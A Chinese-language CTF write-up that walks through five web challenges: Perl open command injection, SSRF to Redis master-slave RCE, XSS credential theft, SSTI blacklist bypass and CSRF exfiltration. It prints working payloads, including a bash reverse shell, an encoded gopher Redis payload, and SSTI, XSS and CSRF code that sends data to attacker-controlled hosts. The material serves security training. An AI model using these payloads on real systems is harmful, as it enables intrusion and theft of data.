目录
<1> [HITCON 2017]SSRFme(perl脚本GET open命令漏洞)
<2> [网鼎杯 2020 玄武组]SSRFMe(SSRF结合redis主从复制RCE)
<4> [GWCTF 2019]你的名字(ssti {{和关键字绕过)
(1) {{ 和 }} 过滤绕过:
(2) 绕过关键字过滤方法:
<5> [GKCTF 2021]CheckBot(csrf)
<1> [HITCON 2017]SSRFme(perl脚本GET open命令漏洞)
做这道题前,先来看一下后面会用到的知识点:
- open函数中存在 rce,并且还支持file函数
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果
比如你 open(file_handler,"|pwd"); 会执行pwd命令
- GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,
- Perl的GET函数底层就是调用了open处理
进入题目,过的源码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
进行审计,代码功能为:
- 输出当前页面用户的ip
- 构建md5处理过的目录,并切换构建的目录,格式为 sandbox/md5(orange+ip)
- shellexec() 执行 GET 拼接的命令,内容可控 (这里可以使用 perl 进行命令执行)
- 将shell_exec()命令执行结果(可控内容)写入到filename(可控文件名)中
观察其他师傅WP 才知道 这个GET是 Lib for WWW in Perl中的命令 以前从来没遇到过
相关介绍可查看:LWP(Library for WWW in Perl)的基本使用
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
前面说了 这里 GET是Lib for WWW in Perl中的命令 可以使用perl进行命令执行
而 执行的条件呢,就是我们必须先创建一个和命令一样的文件,然后就是将命令执行的结果放到我们传进去的文件里面。
首先我们利用 open rce 看看根目录下有哪些文件:
?url=file:///&filename=a
会写入到 sandbox/md5(orange+ip)/a 文件中
我们看到了 readflag 读取flag读不到,肯定是通过执行 readflag来获得flag
由于需满足文件存在,才会执行open语句,所以先创建命令的同名文件
?url=&filename=|/readflag
然后利用perl open函数进行rce
?url=file:|/readflag&filename=a
|/readflag 命令执行结果 存储到a文件中
再次访问 sandbox/md5(orange+ip)/a 得到flag
注:可以直接/readflag 也可以 bash -c /readflag
<2> [网鼎杯 2020 玄武组]SSRFMe(SSRF结合redis主从复制RCE)
- SSRF结合redis主从复制RCE
- prase_url()解析漏洞
- file_put_content死亡代码(没考到,积累一下)
parse_url
与libcurl
对url的解析差异绕过指定host(也没考到 积累一下)
Tips:使用DNS重绑定绕过限制
进入题目,得到源代码:
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
进行代码审计,功能为:
- 接受用户传入的url, 经由 safe_request_url() 处理
- check_inner_ip函数判断并禁止内网ip的请求,并必须使用http或https,dict,gopher协议
- safe_request_url先用上一个函数判断,不符合即会开启curl会话,输入值
看到 curl_exec 也比较明确是ssrf了, 代码最后提示要从本地端访问hint.php文件,那么绕过本地验证过滤即可,这里过滤了127开头、10开头、172.16开头、192.168开头 方法也有很多,这里使用 0.0.0.0绕过限制、也可以
?url=http://0.0.0.0/hint.php
得到 hint.php 如下:
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
本体的代码其实被大佬用来做利用libcurl和parse_url对url的解析差异绕指定的host的例子 不过可能是环境问题,这个方法在 curl 较新的版本里被修掉了,buu上无法使用
从上图中可以看到curl()函数解析的是第一个@后面的网址,而prase_url()解析的是第二个@后面的地址。利用这个原理我们可以绕过题目中prase_url()函数对指定host的限制 ?url=http://u:p@127.0.0.1:80@baidu.com/hint.php
回到 hint.php,我们可以看到
file_put_contents($content,"<?php exit();".$content);
会不会是 file_put_content死亡代码 逃逸exit 这个打不通,应该是权限的问题,没有写文件的权限
然后后面 redispass is root 给了redis的密码,应该是 gopher 打redis了
看各个师傅的wp,得知考察的是redis的主从复制 .....没搞过 码上 后面专门搞一搞
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。主从复制从ssrf->rce原理:在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE
所以我们这题的思路是:
首先,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,然后就可以远程连接目标Redis服务器
然后,通过 slave of 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。
然后,又因为主从复制。恶意Redis主机上的exp.so会同步到Reids从机上,并将dbfilename设置为exp.so
最后再控制Redis从机(slaver)加载模块执行系统命令即可
用到的命令为:
config set dir /tmp/ //设置备份文件路径为/tmp/
config set dbfilename exp.so //设置备份文件名为:exp.so
slaveof vpsip port //设置主redis地址为 vpsip,端口为 portmodule load /tmp/exp.so
system.exec 'bash -i >& /dev/tcp/192.168.8.103/4607 0>&1'or system.rev vpsip port
这道题主要用到 redis-rogue-server: Redis 4.x/5.x RCE 和 redis ssrf gopher generater & redis ssrf to rce by master-slave-sync 脚本
将他们下载到vps上
这里脚本里帮我们写入了要在redis上执行的 命令:
因此我们只用改一下对应的参数 vpsip port 和 system.exec 具体命令即可
更改 ssrf-redis.py 脚本里的 lhost为你的vps 的ip,lport为端口 同时记得passwd设为root
ip为 0.0.0.0 绕过前面的 ssrf 限制
生成payload,执行:python ssrf-redis.py
然后在 vps里执行:python redis-rogue-server.py --server-only
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%245%0D%0Avpsip%0D%0A%244%0D%0Aport%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
相当于:
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/ //设置备份文件路径为/tmp/
config set dbfilename exp.so //设置备份文件名为:exp.so
slaveof vpsip port //设置主redis地址为 vpsip,端口为 portmodule load /tmp/exp.so // 加载 exp.so
system.exec 'cat /flag'
然后 将payload 再进行一次url编码(空格都用%2520替换,换行都用%250d%250a替换),也可以直接burp给url编一次码 传给url参数
就可以得到flag。
buu的这道题环境好像有问题,exp.so这个拓展并没有在主从复制时完整的传到 buu题目环境上 ,就导致每次执行 module load /tmp/exp.so 的时候就 -ERR Error loading the extension 提示不可用
又因为没有 load (加载)上exp.so system.exec去执行 cat /flag命令时,也会报错:-ERR unknown command `system.exec`
<3> [GWCTF 2019]mypassword(xss获取保存的cookie内容)
- xss注入
- requestbin 外带数据(也可外带rce无回显)
进入题目后得到一个登录框,注册一个admin 已存在,那就乖乖注册别的吧
登录进去之后, 得知:admin 密码在源码里
在Feedback中看见注释
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
过滤了好多xss用到的标签事件,svg,script,onload 等等,但是是用str_ireplace函数匹配的,而str_ireplace函数 该函数单次匹配递归匹配,且它的关键字是一个数组,遍历数组,每次一个关键字,可以双写两个关键字绕过
试试xss
<scriphostt>alert(1)</scriphostt>
在list中点击我们提交的内容,果然弹窗。然后我们就得尝试获取源码里的密码,登陆admin,再进行下一步操作
怎么通过xss获得源码呢? 之前只用xss去 得到bot的cookie,还没试过用xss获取源码
看wp得知:在Login登录界面,有/js/login.js:
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
发现login.js中的 记住密码 功能会将读取cookie中的password。
于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag
poc如下:
<input type="text" name="username"></input>
<input type="text" name="password"></input>
<script src="./js/login.js"></script>
<script>
var uname = document.getElementsByName("username")[0].value;
var passwd = document.getElementsByName("password")[0].value;
var res = uname + " " + passwd;
document.location="http://requestbin/?res="+res;
</script>
利用buu的requestbin :http://http.requestbin.buuoj.cn/
点击 Create a RequestBin
获取一个链接,将poc中的location设为我们申请到的链接
同时又因为存在过滤,我们给对应的关键字都加上双写绕过一下
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getcookieElementsByName("username")[0].value;
var passwd = documcookieent.getcookieElementsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://http.requestbin.buuoj.cn/we1fz5we/?res="+res;
</scricookiept>
Feedback提交之后,进入List点击, 即可得到flag
注:因为是保存密码功能,因从你在登录自己注册的账号的时候不要点记住密码,否则会覆盖掉admin的密码 喏
不知道为什么,src设成vps的话,vps上得不到admin的密码,但是能得到我注册的用户的密码
<4> [GWCTF 2019]你的名字(ssti {{和关键字绕过)
{{
和}}
符号的绕过- 关键字符过滤的绕过
进入题目,发现需要输入名字,有一个输入框 测试是否存在sql注入 xss
未果,尝试ssti 发现报错:
Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13
实际上这是 手动写的 php的报错,迷惑人的,后端其实是python写的。
{{7*7}} 会报错 而{7*7}则会显示出来 应该是过滤了 {{
(1) {{ 和 }} 过滤绕过:
双大括号过滤的绕过比较常见,一般就是使用{% %}
配合if()
或者print()
函数进行输出
{% %}
配合if():
ssti 学习可以参考: Python模板注入(SSTI)深入学习 - 先知社区
直接用文章里给的 payload打一下:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
露 500了,过滤了
这是题目的过滤代码:
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s
可以看到采用的是 单次匹配递归匹配,且关键字是一个数组,因而我们可以双写其中的两个前后关键字进行绕过,比如config是最后匹配的,当我们传入 imporconfigt时,已经判断过不是import了,这里把config置空之后,便得到了import。过滤不严谨
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}
{% %}配合print
{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}
(2) 绕过关键字过滤方法:
{% %}
配合 print 形式 {%print %}
一、 使用拼接
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}
二、分别定义
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}
上面的都可以,然后这道题由于是过滤不严谨,也可以按照上面 if 用的那种方法,关键字里插入config来绕过
{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read() %}
<5> [GKCTF 2021]CheckBot(csrf)
Hint:让bot访问/admin.php才有flag,但是怎么带出来呢
下、admin bot会点击我们传入的url值,我们可以构造csrf 让bot点击 把flag发到我们vps监听的端口
<html>
<body>
<iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
<script>
window.onload = function(){
/* Prepare flag */
let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
/* Export flag */
var exportFlag = new XMLHttpRequest();
exportFlag.open('get', 'http://vps:port/flag-' + window.btoa(flag));
exportFlag.send();
}
</script>
</body>
</html>
Submit successfully, wait for admin bot to check!
等一会再查看vps上监听端口返回的信息
base64解密一下,得到flag